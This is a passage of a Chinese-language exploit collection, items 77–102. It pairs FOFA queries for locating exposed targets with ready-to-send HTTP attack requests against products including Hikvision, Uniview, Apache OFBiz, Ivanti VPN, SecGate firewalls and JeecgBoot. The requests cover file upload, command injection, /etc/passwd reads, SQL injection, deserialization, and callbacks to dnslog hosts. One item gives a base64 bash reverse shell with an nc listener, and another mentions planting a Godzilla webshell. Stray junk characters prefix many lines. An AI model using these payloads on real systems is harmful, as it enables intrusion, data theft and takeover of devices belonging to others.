6 u2 \5 E6 a" S: |$ Q3 \0 _4 x8 B

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 f4 P& J9 [9 z" i  z  l8 n- kContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
/ h# x+ ^+ g6 B- \
5 t9 k2 I1 p6 P6 N* V3 M------------398jnjVTTlDVXHlE7yYnfwBoix
& X; R$ f- H9 F4 Y1 P! H- Y/ I1 p/ PContent-Disposition: form-data; name="folder"
4 A; j9 p" X+ R: L/ h# t: \
/upload/udplog
5 k. B1 t' ^% f, f9 s% e------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
9 U7 T1 @; j: s. P" J  w$ A: rContent-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
3 ?1 ^4 j+ T, `' o0 w8 x8 OContent-Disposition: form-data; name="Upload"
2 a  `8 k" y; |2 P. f6 ~& ~
% m9 l' J/ c4 B6 Z& \Submit Query
5 Z, R& O1 B" |7 L, O- O0 F( Z7 e! N------------398jnjVTTlDVXHlE7yYnfwBoix--
( Z8 G- v) h8 s9 u2 M& j, g* p

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 f% }% X1 P) aConnection: close
Content-Length: 336
* V6 _! S# }' _  FAccept-Encoding: gzip
5 `& A0 n+ g& u! t8 @2 `  VContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
! `$ q% I6 l; z2 V# @( l4 H
4 \) o9 F* o% X: ?------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
6 N# z: M( K* B! a' U2 d
% B, R4 b5 Q+ l' R. aYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

- P. W8 O1 O9 P/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
; s. b  s  ?, o6 b0 }" D6 ?
5 W1 o4 E' N3 P8 j& ^, F
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
+ C0 c% d4 u# YHost: x.x.x.x
( C* X/ e  u# l
3 a& i5 O1 b5 `6 K
$ l1 V6 q1 H- e! J  z9 h/ e: C79. BYTEVALUE 百为流控路由器远程命令执行
( H; @2 A6 u5 A0 E5 m7 aFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p% B: N$ d/ q8 AAccept-Encoding: gzip, deflate
Connection: close
. R* E/ _& x8 A: k: C0 m2 sUpgrade-Insecure-Requests: 1
. W( x- D. T' ?" t5 A; e8 W/ f# q

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
! y$ w' J5 K3 N' P- sFOFA：app="速达软件-公司产品"
/ y/ q/ o3 `9 R( V% mPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
. _; O/ W* V9 v( }: y9 Y! w8 P' sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
" X$ P" M2 P6 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& x, H) R  S( [- kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
0 l, q- F5 k6 p  l
<% out.print("oessqeonylzaf");%>
! ?! a$ E+ p+ L

GET /xykqmfxpoas.jsp HTTP/1.1
2 u/ j6 F( n+ p" J7 w2 p) c: rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ ?! N0 P, ]9 U  W8 f0 i4 t( O/ SConnection: close
+ n- U! f- h  X* rAccept-Encoding: gzip

: L! h  D2 m# @% q9 y
6 m( M, s/ w% p8 m1 D; v) ]& d8 h81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
$ X1 p" ^: t4 i) ]8 DFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
. B1 w' |; w/ q/ N( qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 t9 V$ i0 E) r% Q  _0 cConnection: close
4 z" l7 B1 |( j- S/ `Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
3 L* ~! o, C  ]4 sHost: BaseURL
User-Agent: Go-http-client/1.1
" d5 n; }  |7 N6 T3 E5 ?3 qContent-Length: 23
Accept-Encoding: gzip
) M( u# K9 B6 f. l2 HConnection: close
Content-Type: application/x-www-form-urlencoded
1 z9 r  J& a6 d+ g( YReferer: BaseURL
( Q9 e! e1 X; e7 S5 f
z1=1&z2="|id;"&z3=bhost


# p. d+ A: M# ~) _" p83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


6 I3 r9 j" v9 v  M( LPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' |7 W1 J) g! n0 T0 \/ {Content-Length: 8881
3 m- _8 W$ Y4 B( ^Accept-Encoding: gzip
/ v9 c/ v6 U6 W9 k0 t0 i/ JCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
, Y, n) T+ H1 C0 f3 Y. E* x1 U3 b8 pContent-Type: application/json
$ m/ ]; o9 o* `( `
PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 Z. O7 y1 R+ k* |+ s- p/ gFOFA：title=="JeecgBoot 企业级低代码平台"

1 i4 s  E  P; @$ U) N- N$ {; {( S

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
7 S# ]* t3 }6 ?% p( U0 t( [4 p+ n# VContent-Length: 156
' @5 A  \$ a3 r- \- M+ yAccept: */*
Connection: close
' O  [/ n2 k0 k3 g- JContent-Type: application/json
; y3 H: V- V4 ^Accept-Encoding: gzip

8 d5 c4 o% M5 z" P/ w8 `{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
: z. z# I" E4 v6 ]& H}
2 q) }; H3 {  d
' W+ T6 A* {8 T6 f  f; [0 R
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
; r$ I7 v2 c, Y( H2 Y" V9 OFOFA：body="sysaid-logo-dark-green.png"
. S! O0 f6 I4 D/ w1 T2 qEXP数据包如下，注入哥斯拉马
9 E2 j' o) X4 |# RPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
. V  D3 u0 r& K, ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 I. F9 O# J2 I0 pContent-Type: application/octet-stream
2 B2 h: L" V9 D' b+ i/ {4 JAccept-Encoding: gzip
& N, z0 d8 |/ r. l
* q/ O& `4 }. I2 F' e0 S2 J& IPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
9 D* r# A! V, \& D
86. 日本tosei自助洗衣机RCE
# h, x4 t8 A( ]3 R& NFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
# v4 [( n8 A1 _% xConnection: close
1 K9 E4 Q% d8 ]9 R$ FContent-Length: 44
6 r/ i- A  M0 R# SAccept: */*
- L" D: S0 b; v" xAccept-Encoding: gzip
Accept-Language: en
6 |. k( M. O* N8 iContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
: L3 k7 c' d0 _3 W3 ^5 ^

) O9 Y; `6 o- Y, w87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
& S2 O: ?/ `* o7 `0 K$ zPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
+ Q! y2 B: a; t3 pHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ z3 z) w" w! L8 M* ]Connection: close
. F4 A6 c. u. L' E/ W; nContent-Length: 198
Accept-Encoding: gzip
2 [* U' [) ^1 `% A: VContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

4 t+ j! c2 E( x% K" U, ~--qqobiandqgawlxodfiisporjwravxtvd
+ V$ j0 K5 O- r" I+ I  Z; }Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
) @) L6 l5 [6 l1 f, n' x
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
' {# w& {$ X! @3 a) W# t( h7 ]--qqobiandqgawlxodfiisporjwravxtvd--

3 X0 A  n8 ?( b& h, n
/ a+ M9 b% L, R" }; T# [( y+ o/jfhatuwe.php
0 T2 @7 O4 q5 G/ L
4 l# t/ a$ c% m2 d* e88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
* T. a+ L8 L' R7 jHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( t' ^- l1 v- lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( P) r/ H. c" fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- M8 D4 b4 n& \- L; V* [& }Connection: close

+ g5 e, d2 V* m6 Z- C* [3 y
( U+ i  n% R, o% X6 l1 l/astdfkhl.php
+ K- g! w: Y3 s4 W
+ F# r, w9 y3 i, E  d89. 致远互联FE协作办公平台editflow_manager存在sql注入
  o9 n7 J2 X% q' ]" `" t) L* H2 }FOFA：title="FE协作办公平台" || body="li_plugins_download"
& v; w  _! H, P6 S1 SPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
1 S% `% g8 X7 cHost: x.x.x.x
9 U& t" W/ E% KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
. O; [* x( P; O0 P& C* eContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( ?$ u  o3 h7 P$ ?. w/ y& Y
" i1 Q% a$ i3 H" soption=2&GUID=-1'+union+select+111*222--+
4 \4 @! M$ h0 b+ v9 g( x! Y

! }" O1 Y) \# @' I, s! v90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
5 x& B. C! }3 \FOFA：icon_hash="-1830859634"
7 p+ ]% F2 o9 V$ m1 X- Q# sPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
# y5 V4 r( e2 o) m. F: IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
; o2 D# ^+ L2 C" M, O9 yContent-Length: 51
& ]' n+ a$ ?; l! SAccept: application/json, text/javascript, */*; q=0.01
% j4 _0 l7 H: l* W) j( rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
3 P8 p  ^! T' q5 y* m2 V
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
; Q; O* K9 E2 a# W! [. p
, J2 z( O, ]7 F. J, Y' n0 }7 I
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
& ^2 ]# F& Q* |2 a4 V2 r3 HFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 J8 o) J! r9 I/ z8 o* }Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

$ ^( a* o+ m( N! a3 z) L9 D% i1 \

' v3 Z# p$ j4 P" ]" T  W92. 海康威视运行管理中心session命令执行
* G* m" `  i( u5 s7 l: i; UFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
0 q6 T9 K3 D4 ?- E% mX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
9 {. n- ~- P0 ?* J- F( W1 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
& L  W. }5 |* Q0 K: qContent-Length: 5778

5 F; k, p/ j9 o1 \$ W! M- Z" \3 RPAYLOAD

6 q9 u* O& N0 k- }. t$ X* m
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
  Z% p' \7 s) R: M, FFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
/ w/ h! `1 D4 T: a* R  {# CPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
; y: G* x3 C4 Y0 M. `" J' k; cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
, o2 |0 a2 t% p# B/ BContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
1 J9 T  P1 s+ I/ ?) w7 V: J------WebKitFormBoundarykcbkgdfx
$ S9 A+ v1 S2 g( n3 N7 x2 O$ rContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
' C+ J8 o7 l2 v3 O
wagletqrkwrddkthtulxsqrphulnknxa
- T/ z' N) |0 X$ [------WebKitFormBoundarykcbkgdfx
4 _$ B, u" |, W$ M$ d. q/ ?+ oContent-Disposition: form-data; name="submit_post"

' U1 S. E& Q5 p( j9 z% w; f% e  vobj_app_upfile
/ V" i+ m1 Y7 H5 G, D------WebKitFormBoundarykcbkgdfx
9 g; w8 z* Q7 e8 n# [Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
! e2 z$ g5 ?* RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

" r7 l. j: G& G- _+ l# d( H
: U: s* l$ r, b0 ]' G- J5 v4 y94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
7 l& F! ]; z& x1 i* \6 N' d; yFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
1 o" ]+ j1 u0 t7 H8 `POST /?g=obj_area_import_save HTTP/1.1
5 X5 b& S% u, e/ x! @Host: x.x.x.x
4 q+ F! f, O0 u5 R- l+ y+ D: iContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
8 `/ J1 E8 S8 C6 m; U& yContent-Disposition: form-data; name="MAX_FILE_SIZE"

3 N) |  p7 g$ C3 K$ w10000000
4 n" L6 C0 b0 k/ s/ W/ v% q( M------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
+ i- B8 O  ^. X- ]0 _6 _Content-Type: text/plain
; K# y. _9 L" ~4 X0 x  ?
pxplitttsrjnyoafavcajwkvhxindhmu
. b; l0 Z) L0 p1 V" ?/ ?! V------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
) t; O$ ?3 |2 K4 d, i. _1 _

" t" D1 Q0 U0 [
GET /attachements/xlskxknxa.txt HTTP/1.1
  k  T' N6 K/ k) C: X% o1 p5 rHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" i4 \! e$ J& i  D) ?
- c# R, }6 F+ |( I4 m& A" ^2 H3 A

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
0 e8 _8 f8 M7 q' gCVE-2023-49070
! c+ l7 {9 v  l  m' T7 JFOFA：app="Apache_OFBiz"
/ W+ O  P3 a7 ePOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
" S% E; w7 R# A! p( h# ^7 jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
: I4 X1 q  V+ B+ PConnection: close
$ M0 ]' l9 t% e, ~Content-Length: 889
Content-Type: application/xml
2 V6 X, @( k( Z" c& ^3 ~Accept-Encoding: gzip
6 |. Z9 v& U1 n! B, n
, C, j. G8 R; W% V! Q: t<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
! @4 A3 Y8 E( X3 r! F    <params>
      <param>
( ~6 B9 D0 V. C$ u9 B- r% `      <value>
7 |9 j0 M' [. [( J- v        <struct>
1 v9 o& ?4 b1 ?/ I       <member>
, h- r: o0 N  N) b1 m          <name>test</name>
" E4 ]0 }5 j8 m2 q( ^- O- w. H! c( r  Q          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
- q/ M! A5 l/ X0 e        </member>
      </struct>
      </value>
    </param>
1 E4 }2 ]" X$ R, ~8 k- z    </params>
2 r; J& e, q5 \7 B</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


: K3 m9 n/ o6 X将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
2 f0 l" S3 ^1 u: d! C% `7 c' `) U* IHost: 192.168.40.130:8443
; g- Y, C. U( N2 J4 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

; C( H3 S, {" R  jPAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
6 z. V2 }) s- z+ nPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
% L) J' i( u& O5 ZHost: localhost:8443
& O7 m# H# ]! Z$ F% AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! c# T6 N( a7 j: w5 ^" yAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

6 G/ G4 P0 F0 l, m. `groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
5 C0 k% G# J+ O; e- p! t在kali上启动一个监听
7 u3 t) V- g! B. M: x$ }nc -lvp 7777

' A; r! C4 i# \1 J( R. R( u% sPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
. P5 O+ j/ B1 h9 H+ C/ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 ?3 r0 b( \6 oContent-Type: application/x-www-form-urlencoded
9 @9 l- m: Y7 P* P6 E3 }7 @Content-Length: 71
6 w& n' V/ q0 }( D; f# S
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
' m' |+ g3 ~! T, V
8 U( u% k/ m( j4 y# q97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
* h5 U! X! p4 H- V+ S( V' z3 c, q* tFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
" x! G+ P/ M, @1 pGET /passport/login/ HTTP/1.1
- D  W) S: q0 T! S' aHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 N" V: g& F% f- z' D% ~Accept-Encoding: gzip
Connection: close
6 z5 k; ~1 p8 aCookie: rememberMe=PAYLOAD
( X% B% c' g" c' PX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

6 q0 V/ j8 Q) w3 J: B
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 B4 C3 h9 G# {3 T6 OConnection: close
Content-Length: 121
; a9 q$ P+ c: e3 g0 yAccept: */*
+ r% H& c7 A! V* S+ IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
1 a5 @+ \% ^) L. g* A, M2 t# }X-Requested-With: XMLHttpRequest
; F0 P2 ]1 N; D8 P) Z
: e# f3 f: B, Gid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

  N( [- {- \/ N6 j# h, E6 H8 |9 h
' Z' t0 p8 L6 J8 w5 y99. Ncast盈可视高清智能录播系统busiFacade RCE
8 x4 ^0 R1 |# b2 w! R/ n0 q) g+ ^CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
& P4 q; T' h! D) k# {" ^6 QPOST /classes/common/busiFacade.php HTTP/1.1
2 R6 W& t$ U  K4 E, c7 `7 `Host: 192.168.40.130:8080
( G7 A0 E3 u2 \6 ^6 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 F( C; }# H/ Y3 ^. c( xConnection: close
  x) f; @5 C& q" o  Q! V1 o& OContent-Length: 154
( U* @' \- C6 D7 U  |: {9 QAccept: */*
3 J# F. D' L1 D9 \Accept-Encoding: gzip, deflate
/ B7 P7 ^7 D/ m; e. oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
! G+ E$ E) f# j" |
3 y) k) \8 \& H  J%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
0 t+ }; O% R! z5 Q
0 J3 J4 E( |: k0 u! O8 B
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
# a. V" x/ O3 P5 L- Q1 e$ c( _POST /api/file/formimage HTTP/1.1
7 {9 `8 b0 _) l- FHost: 192.168.40.130
0 x4 H- @- ?: [User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
2 c7 _& b2 Q/ M. Q/ \0 L- L5 N$ l& PConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
' b' @% W/ s" n, b$ E* VAccept-Encoding: gzip
4 X' }! {8 s1 D( I- W) q. f0 V
1 B9 l0 G4 ^$ B  d3 V) l------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
" I- [3 ?- V! s5 T. a1 {5 @  ^" F
" m- d( o- i3 G0 Q' y( x, {$ i2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
0 c# J( @+ O8 M

101. ivanti policy secure-22.6命令注入
7 G  h  ~1 [, bCVE-2024-21887
8 N& f( G% l: }4 ^& p7 V" NFOFA：body="welcome.cgi?p=logo"
4 b  U: @. \" C" @GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
2 N8 E6 R# |/ j7 `8 THost: x.x.x.xx.x.x.x
2 v7 M! O4 j" \" r8 `5 X* U/ ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# s5 h" m# H1 T$ s( P6 k1 E+ hConnection: close
Accept-Encoding: gzip
" S5 R8 D% q" V

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
# I( }4 L& |2 q/ wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
3 W3 F9 c' n( \2 H2 j* \' ]4 r( G, c
( L  g% X9 F' U, U; p9 j( J- T+ {, N* p2 o& Y<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" 